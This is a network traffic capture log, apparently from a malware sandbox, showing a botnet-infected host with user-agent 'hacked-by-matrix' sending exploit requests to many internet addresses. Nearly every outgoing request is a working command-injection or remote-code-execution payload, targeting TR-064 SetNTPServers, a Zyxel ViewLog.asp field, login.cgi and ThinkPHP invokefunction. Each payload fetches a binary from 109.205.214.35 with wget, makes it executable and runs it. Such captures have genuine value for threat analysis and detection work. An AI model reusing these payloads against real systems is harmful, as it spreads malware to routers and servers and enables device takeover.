Mar 21, 2024 05:17:23.027019978 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.23	37218	218.78.122.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.046704054 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:24.215384007 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:24.614129066 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:24 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.23	53020	213.109.160.34	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.128952026 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.204399109 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:34.382004023 CET	393	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.25.4 Date: Thu, 21 Mar 2024 04:17:34 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://127.0.0.1/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.25.4</center></body></html>
Mar 21, 2024 05:17:34.382870913 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.4 Date: Thu, 21 Mar 2024 04:17:34 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.23	49566	217.43.158.148	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.130734921 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:24.093821049 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.23	48482	178.128.39.205	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.293273926 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:23.502818108 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:23.666455030 CET	496	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 21 Mar 2024 04:17:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"62c682dc-157" Content-Encoding: gzip Data Raw: 66 37 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 50 bb 4e c4 30 10 ec f9 0a 63 89 d2 71 4e 74 79 5c 73 50 43 41 43 85 1c 67 13 5b b2 bd 96 bd 21 17 be 9e 73 c2 55 6c b3 33 a3 dd 19 69 ba c7 97 b7 cb c7 e7 fb 2b 33 e4 dd f9 a1 3b 16 bb 4d 67 a7 a4 3c b0 9c 74 cf 0d 51 cc 8d 94 da e1 32 ae 6a cb 22 93 22 ab 85 c6 40 10 a8 ca cf d5 92 05 a8 4c e2 54 29 af 7e 30 a8 35 57 1a bd 84 94 30 7d 45 35 83 f4 ca 96 73 15 34 88 11 0b 13 5e c5 68 c3 5c 95 60 ce f6 c8 01 d3 08 a9 e7 35 67 99 36 07 3d c7 6f 48 93 c3 b5 31 76 1c 21 b4 77 2e ae ff 94 ed ae 18 b0 b3 a1 e6 54 d7 4f ed 6a 47 32 07 8c 98 2d 59 0c 8d 1a 32 ba 85 a0 25 8c 4d 1d af ad 83 89 76 90 f6 c7 82 06 24 42 5f 20 67 87 5f cf 8b 0b 67 bb e3 1f 39 77 f2 e8 ea d6 9f dc 0b fc 05 66 f7 1e 64 57 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f7ePN0cqNty\sPCACg[!sUl3i+3;Mg<tQ2j""@LT)~05W0}E5s4^h\`5g6=oH1v!w.TOjG2-Y2%Mv$B_ g_g9wfdW0
Mar 21, 2024 05:17:23.666466951 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:17:23 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.23	41766	181.214.89.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.306843042 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:23.473989010 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.23	49584	217.43.158.148	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.325043917 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.23	40658	80.4.237.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.327943087 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:23.558197021 CET	464	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:21:36 GMT Server: Webs X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Cache-Control: no-store Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.23	39712	82.102.0.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.362154961 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:27.084711075 CET	508	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:17:23 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Set-Cookie: _gd_logged_out_post_author=88ddb20357; path=/ Location: https://alltomfordon.se?password-protected=login&redirect_to=http%3A%2F%2F127.0.0.1%2Fcgi-bin%2FViewLog.asp Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Mar 21, 2024 05:17:27.114123106 CET	530	IN	Data Raw: 30 0d 0a 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 37 3a 32 37 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 Data Ascii: 0HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:17:27 GMTServer: ApacheContent-Length: 347Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>4

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.23	44372	95.168.190.161	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:23.716468096 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:23.871501923 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Thu, 21 Mar 2024 04:17:23 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.23	42590	88.208.5.246	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:24.048382998 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:24.226313114 CET	687	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:17:24 GMT Server: Apache/2.2.24 (Unix) PHP/5.3.23 mod_ssl/2.2.24 OpenSSL/0.9.8x Location: http://sharedip.advancedhosters.com/?s=/index/ Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 317 Keep-Alive: timeout=10, max=120 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 45 50 5d 4b 03 31 10 7c ef af 58 ef 49 1f cc d6 ab 42 2d 69 44 fb 41 0b d5 1e f4 fa 20 22 47 da ac cd 41 2f 39 92 5c ad ff de 5c 5b 91 85 65 76 77 96 19 86 5f 8d 97 a3 fc 3d 9b c0 2c 7f 5d 40 b6 7e 59 cc 47 90 dc 22 ce 27 f9 14 71 9c 8f cf 97 94 75 11 27 6f 89 e8 70 1d aa bd e0 9a a4 8a 43 28 c3 9e 44 af 9b c2 d4 36 46 71 3c 2f 3a 1c 4f 04 be b1 ea a7 fd b9 13 97 7b 44 1d 5e 8b 5c 13 28 bb 6d 2a 32 01 b4 f4 50 d9 03 29 e0 12 b4 a3 af 61 a2 43 a8 07 88 5e 4b 47 aa ac 99 54 07 69 b6 a4 b4 f5 81 9c 67 5b 5b e1 93 1f 62 69 14 